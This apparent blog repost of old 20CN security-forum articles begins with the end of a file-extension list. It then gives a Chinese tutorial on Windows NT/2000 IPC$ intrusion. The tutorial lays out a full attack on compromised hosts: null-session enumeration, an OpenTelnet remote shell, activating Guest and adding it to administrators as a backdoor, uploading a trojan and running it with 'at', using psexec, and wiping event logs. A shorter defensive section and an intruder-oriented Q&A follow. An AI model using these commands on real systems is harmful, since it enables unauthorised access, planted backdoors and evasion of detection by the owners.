VMF FaxWorks声音文件
VOC Creative Labs的Sound Blaster声音文件
VOX 用ADPCM编码的对话声音文件;Natural MicroSystems(NMS)格式化声音文件,Talking Technology声音文件
VP Ventura Publisher出版物
VQE,VQL Yamaha Sound-VQ定位器文件
VQF Yamaha Sound-VQ文件(可能出现标准)
VRF Oracle 7配置文件
VRML 虚拟现实建模语言文件
VSD Visio绘画文件(流程图或图解)
VSL 下载列表文件(GetRight)
VSN Windows 9x/NT Virusafe版文件,用于保持有关目录中所有信息,当一个文件被访问,其中信息与VSN信息进行比较,以确保它们保持一致
VSS Visio模板文件
VST Targa位图
VSW Visio工作区文件
VXD Microsoft Windows虚拟设备驱动程序
W3L W3Launch文件
WAB Microsoft Outlook文件
WAD 包含有视频、玩家水平和其他信息的DOOM游戏的大文件
WAL Quake 2正文文件
WAV Windows波形声形
WB1,WB2 QuattoPro for Windows电子表格
WBK Microsoft Word备份文件
WBL Argo WebLoadⅡ上载文件
WBR Crick Software的WordBar文件
WBT Crick Software的WordBar模板
WCM WordPerfect宏
WDB Microsoft Works数据库
WDG War FTP远程守护者文件
WEB CorelXARA Web文档
WFB Turtle Beach的Wavefont Bank(Maui/Rio/Monterey)
WFD Turtle Beach的Wavefont Drum集合(Maui/Rio/Monterey)
WFM Visual dBASE Windows表单
WFN 在CorelDRAW中使用的符号
WFP Turtle Beach的Wavefont程序(Maui/Ri/Monterey)
WGP Wild Board游戏数据文件
WID Ventura宽度表
WIL WinImage文件
WIZ Microsoft Word向导
WK1 Lotus 1-2-3版第1、2版的电子表格
WK3 Lotus 1-2-3版第3版的电子表格
WK4 Lotus 1-2-3版第4版的电子表格
WKS Lotus 1-2-3电子表格;Microsoft Works文档
WLD REND386/AVRIL文件
WLF Argo WebLoadⅠ上载文件
WLL Microsoft Word内插器
WMF Windows元文件
WOW Grave Composer音乐模块(MOD)文件
WP WordPerfect文档
WP4 WordPerfect 4文档
WP5 WordPerfect 5文档
WP6 WordPerfect 6文档
WPD WordPerfect文档或演示
WPF 可字处理文档
WPG WordPerfect图形
WPS Microsoft Works文档
WPT WordPerfect模板
WPW Novell PerfectWorks文档
WQ1 Quattro Pro/DOS电子表格
WQ2 Quattro Pro/DOS第5版电子表格
WR1 Lotus Symphony
WRG ReGet文档
WR1 书写器文档
WRK Cakewalk音乐声音工程文件
WRL 虚拟现实模型
WRZ VRML文件对象
WS1 WordStar for Windows 1文档
WS2 WordStar for Windows 2文档
WS3 WordStar for Windows 3文档
WS4 WordStar for Windows 4文档
WS5 WordStar for Windows 5文档
WS6 WordStar for Windows 6文档
WS7 WordStar for Windows 7文档
WSD WordStar 2000文档
WVL Wavelet压缩位图
WWL Microsoft Word内插器文件
X AVS图像格式
XAR CorelXARA绘画
XBM MIME“xbitmap”图像
XI Scream Tracker设备抽样文件
XIF Wang映像文件(Windows 95带有的文件)
XLA Microsoft Excel内插器
XLB Microsoft Excel工具条
XLC Microsoft Excel图表
XLD Microsoft Excel对话框
XLK Microsoft Excel备份
XLL Microsoft Excel内插器文件
XLM Microsoft Excel宏
XLS Microsoft Excel工作单
XLT Microsoft Excel模板
XLV Microsoft Excel VBA模块
XLW Microsoft Excel工作簿/工作区
XM FastTracker 2,Digital Tracker音乐模块(MOD)文件
XNK Microsoft Exchange快捷方式文件
XPM X位图格式
XR1 Epic MegaGames Xargon数据文件
XTP Xtree数据文件
XWD X Windows转储格式
XWF Yamaha XG Works文件(MIDI序列)
XY3 XYWrite Ⅲ文档
XY4 XYWrite Ⅳ文档
XYP XYWrite Ⅲ Plus文档
XYW XYWrite for Windows 4.0文档
X16 宏媒体扩展(程序扩展),16位
X32 宏媒体扩展(程序扩展),32位
YAL Arts& Letters剪贴艺术库
YBK Microsoft Encarta 年鉴
Z UNIX gzip文件
ZAP Windows软件安装配置文件
ZIP Zip文件
ZOO 早前版本的压缩文件
000-999 用于为老版本(或备份)文件编号(比如:被安装程序改变的CONFIG.SYS文件);又可用于为小范围的PC应用程序的多个用户相关数据文件编号
12M Lotus 1-2-3 97 SmartMaster文件
123 Lotus 1-2-3 97文件
2D VersaCAD的2维绘画文件
2GR,3GR 在Windows之下的VGA图形驱动程序/配置文件
3D VersaCAD的3维绘画文件
3DM 3D NURBS建模器,Rhino
3DS 3D Studio(DOS下)格式文件
386 在386或更高级处理器上使用的文件
4GE InFORMix 4GL编译后代码
4GL InFORMix 4GL源代码
669 Composer 669;UNIX Composer音乐模型文件;669磁道模块
#01 及更高的号 为计算机演示而扫描的一系列电影的图片文件编号方法
$$$ OS/2用来跟踪档案文件
@@@ 用于安装过程中的屏幕文件和用于Microsoft Codeview for C这样的应用程序的指导文件

===============================================
本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处
文章类型:原创 提交:马大哈 核查:NetDemon

from:http://www.20cn.net/ns/cn/zs/data/20030529181107.htm

- 作者: viewercq 2005年06月9日, 星期四 11:29  回复(1) |  引用(0) 加入博采

ipc$详细解释大全

目录 :

一 前言
二 什么是ipc$
三 什么是空会话
四 空会话可以做什么
五 ipc$连接所使用的端口
六 ipc$连接在hack攻击中的意义
七 ipc$连接失败的常见原因
八 复制文件失败的原因
九 如何打开目标的IPC$共享以及其他共享
十 一些需要shell才能完成的命令
十一 入侵中可能会用到的相关命令
十二 ipc$完整入侵步骤祥解
十三 如何防范ipc$入侵
十四 ipc$入侵问答精选
十五 结束的话



一 前言

网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的种种迷惑(你随便找一个hack论坛搜一下ipc$,看看存在的疑惑有多少)。因此我参考了网上的一些资料,教程以及论坛帖子,写了这篇总结性质的文章,想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!
注意:本文所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列,而鉴于win Xp在安全设置上有所提高,个别操作并不适用,有机会将单独讨论。


二 什么是ipc$


IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说,一定是指微软自己安置的那个‘后门’:空会话(Null session)。那么什么是空会话呢?


三 什么是空会话


在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建
立;
2)服务器产生一个随机的64位数(实现挑战)传送回客户;
3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结
果返回到服务器(实现响应);
4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。
以上是一个安全会话建立的大致过程,那么空会话又如何呢?

空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:
Everyone
Network
在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢?


四 空会话可以做什么


对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表,这对于一个老练的黑客已经足够了。以下是空会话中能够使用的具体命令:


1 首先,我们先建立一个空会话(需要目标开放ipc$)
命令:net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。


2 查看远程主机的共享资源
命令:net view \\IP
解释:建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下类似类似结果:
在 \\*.*.*.*的共享资源
资源共享名 类型 用途 注释

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。


3 查看远程主机的当前时间
命令:net time \\IP
解释:用此命令可以得到一个远程主机的当前时间。


4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
nbtstat -A IP
用此命令可以得到一个远程主机的NetBIOS用户名列表(需要你的netbios支持),返回如下结果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$连接的操作会在EventLog中留下记录,不管你是否登录成功。 好了,那么下面我们就来看看ipc$所使用的端口是什么?


五 ipc$所使用的端口


首先我们来了解一些基础知识:
1 SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;
2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
3 在WindowsNT中SMB基于NBT实现,而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。

有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:

对于win2000客户端来说:
1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。由此可见,禁止了NBT后的win 2000对win NT的共享访问将会失败。


对于win2000服务器端来说:
1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放;
2 如果禁止NBT,那么只有445端口开放。


我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。


六 ipc$连接在hack攻击中的意义


就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,那你可就了不得了,基本上可以为所欲为了。不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些粗心的管理员存在弱口令,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码将会越来越难的,因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,甚至在主机不开启ipc$共享时,你根本就无法连接,你会慢慢的发现ipc$连接并不是万能的,所以不要奢望每次连接都能成功,那是不现实的。
是不是有些灰心?倒也不用,关键是我们要摆正心态,不要把ipc$入侵当作终极武器,不要认为它战无不胜,它只是很多入侵方法中的一种,你有可能利用它一击必杀,也有可能一无所获,这些都是正常的,在黑客的世界里,不是每条大路都能通往罗马,但总有一条路会通往罗马,耐心的寻找吧!


七 ipc$连接失败的常见原因

以下是一些常见的导致ipc$连接失败的原因:


1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;


2 如果想成功的建立一个ipc$连接,就需要对方开启ipc$共享,即使是空连接也是这样,如果对方关闭了ipc$共享,你将会建立失败;


3 你未启动Lanmanworkstation服务,它提供网络链结和通讯,没有它你无法发起连接请求(显示名为:Workstation);


4 对方未启动Lanmanserver服务,它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它远程主机将无法响应你的连接请求(显示名为:Server);


5 对方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份;


6 对方禁止了NBT(即未打开139端口);


7 对方防火墙屏蔽了139和445端口;


8 你的用户名或者密码错误(显然空会话排除这种错误);


9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号""即可;


10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。


另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows无法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。


八 复制文件失败的原因


有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?


1 盲目复制
这类错误出现的最多,占到50%以上。许多朋友甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下对方的共享情况,不要认为ipc$连接建立成功了就一定有共享文件夹。


2 默认共享判断错误
这类错误也是大家经常犯的,主要有两个小方面:

1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向admin$之类的默认共享复制文件,导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享并不是ipc$共享的必要条件;

2)由于net view \\IP 无法显示默认共享(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生)


3用户权限不够,包括四种情形:
1)空连接向所有共享(默认共享和普通共享)复制时,大多情况下权限是不够的;
2)向默认共享复制时,要具有管理员权限;
3)向普通共享复制时,要具有相应权限(即对方事先设定的访问权限);
4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;

还需要说明一点:不要认为administrator就一定是管理员,管理员名称是可以改的。


4被防火墙杀死或在局域网
也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;还有可能你把木马复制到了局域网内的主机,导致连接失败。因此建议你复制时要小心,否则就前功尽弃了。


呵呵,大家也知道,ipc$连接在实际操作过程中会出现千奇百怪的问题,上面我所总结的只是一些常见错误,没说到的,只能让大家自己去体会了。


九 如何打开目标的IPC$共享以及其他共享


目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马等,然后在shell下执行net share ipc$来开放目标的ipc$,用net share ipc$ /del来关闭共享。如果你要给它开共享文件夹,你可以用net share baby=c:\,这样就把它的c盘开为共享名为baby共享了。


十 一些需要shell才能完成的命令


看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令:

1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在shell下完成;

2 打开远程主机的ipc$共享,默认共享,普通共享的操作需要在shell下完成;

3 运行/关闭远程主机的服务,需要在shell下完成;

4 启动/杀掉远程主机的进程,也需要在shell下完成。


十一 入侵中可能会用到的相关命令


请注意命令适用于本地还是远程,如果适用于本地,你只能在获得远程主机的shell后,才能向远程主机执行。

1 建立空连接:
net use \\IP\ipc$ "" /user:""

2 建立非空连接:
net use \\IP\ipc$ "psw" /user:"account"

3 查看远程主机的共享资源(但看不到默认共享)
net view \\IP

4 查看本地主机的共享资源(可以看到本地的默认共享)
net share

5 得到远程主机的用户名列表
nbtstat -A IP

6 得到本地主机的用户列表
net user

7 查看远程主机的当前时间
net time \\IP

8 显示本地主机当前服务
net start

9 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y

10 映射远程共享:
net use z: \\IP\baby
此命令将共享名为baby的共享资源映射到z盘

11 删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del /y删除全部

12 向远程主机复制文件
copy \路径\srv.exe \\IP\共享目录名,如:
copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内

13 远程添加计划任务
at \\ip 时间 程序名,如:
at \\127.0.0.0 11:00 love.exe
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径


14 开启远程主机的telnet
这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:

1)目标开启了ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启RemoteRegistry服务,用户就该ntlm认证
4)对WIN2K/XP有效,NT未经测试
命令格式:OpenTelnet.exe \\server account psw NTLM认证方式 port
试例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90

15 激活用户/加入管理员组
1 net uesr account /active:yes
2 net localgroup administrators account /add

16 关闭远程主机的telnet
同样需要一个小程序:ResumeTelnet.exe
命令格式:ResumeTelnet.exe \\server account psw
试例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""

17 删除一个已建立的ipc$连接
net use \\IP\ipc$ /del


(本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创http://ccbirds.yeah.net)


十二 ipc$完整入侵步骤祥解

其实入侵步骤随个人爱好有所不同,我就说一下常见的吧,呵呵,献丑了!

1 用扫描软件搜寻存在若口令的主机,比如流光,SSS,X-scan等,随你的便,然后锁定目标,如果扫到了管理员权限的口令,你可以进行下面的步骤了,假设你现在得到了administrator的密码为空


2 此时您有两条路可以选择:要么给对方开telnet(命令行),要么给它传木马(图形界面),那我们就先走telnet这条路吧


3上面开telnet的命令没忘吧,要用到opentelnet这个小程序
c:\>OpenTelnet.exe \\192.168.21.* administrator "" 1 90
如果返回如下信息
*******************************************************
Remote Telnet Configure, by refdom
Email: refdom@263.net
OpenTelnet.exe

Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
*******************************************************
Connecting \\192.168.21.*...Successfully!

NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23

Starting telnet service...
telnet service is started successfully! telnet service is running!

BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
Disconnecting server...Successfully!
*说明你已经打开了一个端口90的telnet。


4 现在我们telnet上去
telnet 192.168.21.* 90
如果成功,你将获得远程主机的一个shell,此时你可以像控制自己的机器一样控制你的肉鸡了,那么做点什么呢?把guest激活再加入管理组吧,就算留个后门了


5 C:\>net user guest /active:yes
*将Guest用户激活,也有可能人家的guest本来就试活的,你可以用net user guest看一下它的帐户启用的值是yes还是no


6 C:\>net user guest 1234
*将Guest的密码改为1234,或者改成你喜欢的密码


7 C:\>net localgroup administrators guest /add
*将Guest变为Administrator,这样,即使以后管理员更改了他的密码,我们也可以用guest登录了,不过也要提醒您,因为通过安全策略的设置,可以禁止guest等帐户的远程访问,呵呵,如果真是这样,那我们的后门也就白做了,愿上帝保佑Guest。


8 好了,现在我们来走另一条路,给它传个木马玩玩


9 首先,我们先建立起ipc$连接
C:\>net use \\192.168.21.*\ipc$ "" /user:administrator


10 既然要上传东西,就要先知道它开了什么共享
C:\>net view \\192.168.21.*
在 \\192.168.21.*的共享资源
资源共享名 类型 用途 注释

-----------------------------------------------------------
C Disk
D Disk
命令成功完成。
*好了,我们看到对方共享了C,D两个盘,我们下面就可以向任意一个盘复制文件了。再次声明,因为用net view命令无法看到默认共享,因此通过上面返回的结果,我们并不能判断对方是否开启了默认共享。


11 C:\>copy love.exe \\192.168.21.*\c
已复制 1 个文件
*用这个命令你可以将木马客户端love.exe传到对方的c盘下,当然,如果能复制到系统文件夹下是最好的了,不容易被发现


12 运行木马前,我们先看看它现在的时间
net time \\192.168.21.*
\\192.168.21.*的当前时间是 2003/8/22 上午 11:00
命令成功完成


13 现在我们用at运行它吧,不过对方一定要开了Task Scheduler服务(允许程序在指定时间运行),否则就不行了
C:\>at \\192.168.21.* 11:02 c:\love.exe
新加了一项作业,其作业 ID = 1


14 剩下就是等了,等过了11:02,你就可以用控制端去连接了,如果成功你将可以用图形界面去控制远程主机了,如果连接失败,那么它可能在局域网里,也可能程序被防火墙杀了,还可能它下线了(没这么巧吧),无论哪种情况你只好放弃了


嗯,好了,两种基本方法都讲了。如果你对上面的操作已经轻车熟路了,也可以用更高效的套路,比如用CA克隆guest,用psexec执行木马,用命令:psexec \\tergetIP -u user -p paswd cmd.exe直接获得shell等,这些都是可以得,随你的便。不过最后不要忘了把日志清理干净,可以用榕哥的elsave.exe。
讲了ipc$的入侵,就不能不说如何防范,那么具体要怎样做呢?看下面


十三 如何防范ipc$入侵


1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)

方法1:
运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1
如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但限制通过这种连接得到列举SAM帐号和共享等信息;在Windows 2000 中增加了"2",限制所有匿名访问除非特别授权,如果设置为2的话,可能会有一些其他问题发生,建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。

方法2:
在本地安全设置-本地策略-安全选项-在'对匿名连接的额外限制'中做相应设置


2 禁止默认共享

1)察看本地共享资源
运行-cmd-输入net share

2)删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)

3)停止server服务
net stop server /y (重新启动后server服务会重新开启)

4)禁止自动打开默认共享(此操作并未关闭ipc$共享)
运行-regedit

server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。

pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加。


3 关闭ipc$和默认共享依赖的服务:server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用
这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于lanmanserver,不要管它。


4 屏蔽139,445端口
由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139,445端口同样可以阻止ipc$入侵。

1)139端口可以通过禁止NBT来屏蔽
本地连接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项

2)445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完后重启机器

注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。


3)安装防火墙进行端口过滤


5 设置复杂密码,防止通过ipc$穷举出密码。


十四 ipc$入侵问答精选


上面说了一大堆的理论东西,但在实际中你会遇到各种各样的问题,因此为了给予大家最大的帮助,我看好几个安全论坛,找了n多的帖子,从中整理了一些有代表性的问答,其中的一些答案是我给出的,一些是论坛上的回复,如果有什么疏漏和错误,还请包涵。


1.进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?

答:留下记录是一定的,你走后用程序删除就可以了,或者用肉鸡入侵。


2.你看下面的情况是为什么,可以连接但不能复制
net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功

答:可能有两个原因:
1)你的权限不够,不能访问默认共享;

2)对方没有开启admin$默认共享,不要认为能进行ipc$连接,对方就一定开了默认共享(很多人都这么以为,误区!!),此时你可以试试别的默认共享或普通共享,比如c$,d$,c,d等,如果还是不行,就要看你的权限了,如果是管理员权限,你可以开telnet,如果能成功,在给它开共享也行。


3.如果对方开了IPC$,且能建立空联接,但打开C、D盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?

答:建议先用流光或者别的什么猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。


4.我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?

答:首先纠正你的一个错误,用net view是无法看到默认共享的。既然你现在有管理员权限,而且对方又开了ipc$,建议你用opentelnet.exe这个小程序打开它的telent,在获得了这个shell之后,做什么都可以了。


5.ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
net uset ccbirds /add

答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell之后,你才能在远程建立一个帐户,否则你的操作只是在本地进行。


6.我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?

答:不能copy文件有多个可能,除了权限不够外,还可能是对方c$,d$等默认管理共享没开,或者是对方为NTFS文件格式,通过设置,管理员也未必能远程写文件。既然你有管理员权限,那就开telnet上去吧,然后在开它的共享。


7.我用Win98能与对方建立ipc$连接吗?

答:不可以的,要进行ipc$的操作,建议用win2000


8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这是为什么?

答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;或者你自己的NBT没有打开,netstat是建立在NBT之上的。  


9.我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?

答:呵呵,这说明你与目标主机建立了一个以上的ipc$连接,这是不允许的,把其他的删掉吧:net use \\*.*.*.*\ipc$ /del


10.我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?

答:你也太粗心了吧,这说明你的h盘正在使用,映射到别的盘符吧!


11.我建立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。

答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。


12.我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?

答:你混淆了ipc$与139的关系,能进行ipc$连接的主机一定开了139或445端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭ipc$共享.


13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能复制东西,说错误5。请问为什么?

答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。


14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出现请键入 \\192.168.0.2 的密码,怎么回事情呢?

答:虽然你具有管理员权限,但管理员在设置c盘共享权限时可能并未设置允许administrator访问,所以会出现问题。


15.如果自己的机器禁止了ipc$, 是不是还可以用ipc连接别的机器?

答:可以的。


=========================
文章类型:转载 提交:尘世边缘 核查:NetDemon

from:http://www.20cn.net/ns/cn/jc/data/20040521140350.htm

- 作者: viewercq 2005年06月9日, 星期四 11:22  回复(0) |  引用(0) 加入博采